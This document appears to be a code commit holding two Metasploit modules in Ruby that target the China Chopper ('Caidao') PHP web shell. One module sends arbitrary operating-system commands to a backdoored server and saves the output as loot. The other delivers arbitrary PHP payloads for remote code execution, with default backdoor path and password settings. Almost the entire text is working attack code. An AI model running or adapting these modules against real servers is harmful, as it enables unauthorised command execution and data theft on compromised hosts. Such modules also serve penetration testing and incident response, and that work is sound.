caidao's exploit module
nixawk
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faf9be811a
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit4 < Msf::Auxiliary
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include Msf::Auxiliary::Report
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Chinese Caidao PHP Backdoor Command Execution',
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'Description' => %q{
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This module exploits chinese caidao php backdoor which allows
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os command execution.
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},
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'License' => MSF_LICENSE,
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'Author' => ['Nixawk'],
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'References' =>
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[
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['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'],
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['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html']
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],
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Privileged' => false,
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'DisclosureDate' => 'Oct 27 2015'))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The path of backdoor', '/caidao.php']),
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OptString.new('PASSWORD', [true, 'The password of backdoor', 'chopper']),
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OptString.new('CMD', [true, 'The command of os', 'dir'])
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], self.class)
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end
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def caidao_req(payload)
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l = Rex::Text.rand_text_alpha(16)
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r = Rex::Text.rand_text_alpha(16)
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uri = normalize_uri(target_uri.path)
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => uri,
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'vars_post' => {
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"#{datastore['PASSWORD']}" => "echo \"#{l}\";#{payload};echo \"#{r}\";"
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}
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})
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if res && res.code == 200 && res.body =~ /#{l}([\s\S]*)#{r}/m
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$1
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end
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end
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def check
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flag = Rex::Text.rand_text_alpha(32)
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payload = "echo \"#{flag}\""
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data = caidao_req(payload)
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if data && data == flag
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Exploit::CheckCode::Vulnerable
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else
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Exploit::CheckCode::Safe
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end
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end
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def run
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payload = "echo base64_encode(`#{datastore['CMD']}`)"
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data = caidao_req(payload)
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if data && !data.blank?
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data = Rex::Text.decode_base64(data)
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print_good(data)
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path = store_loot("#{datastore['CMD']}",
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'text/plain',
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datastore['RHOST'],
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data,
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"#{datastore['CMD']}")
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print_good('Save file to ' + path)
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end
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end
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end
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@ -0,0 +1,75 @@
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit4 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Chinese Caidao PHP Backdoor Code Execution',
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'Description' => %q{
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This module exploits chinese caidao php backdoor.
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},
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'License' => MSF_LICENSE,
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'Author' => ['Nixawk'],
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'References' =>
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[
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['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html'],
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['URL', 'https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html']
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],
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'Payload' =>
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{
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'BadChars' => '\x00',
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},
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Targets' =>
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[
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['Automatic', {}]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Oct 27 2015',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The path of backdoor', '/caidao.php']),
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OptString.new('PASSWORD', [true, 'The password of backdoor', 'chopper'])
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], self.class)
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end
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def http_send_command(code)
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path),
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'vars_post' => {
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"#{datastore['PASSWORD']}" => code
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}
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})
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unless res && res.code == 200
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fail_with(Failure::Unknown, 'Failed to execute the code.')
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end
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res
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end
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def check
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flag = Rex::Text.rand_text_alpha(16)
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res = http_send_command("printf(\"#{flag}\");")
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if res && res.body =~ /#{flag}/m
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Exploit::CheckCode::Vulnerable
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else
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Exploit::CheckCode::Safe
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end
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end
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def exploit
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http_send_command(payload.raw)
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end
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end
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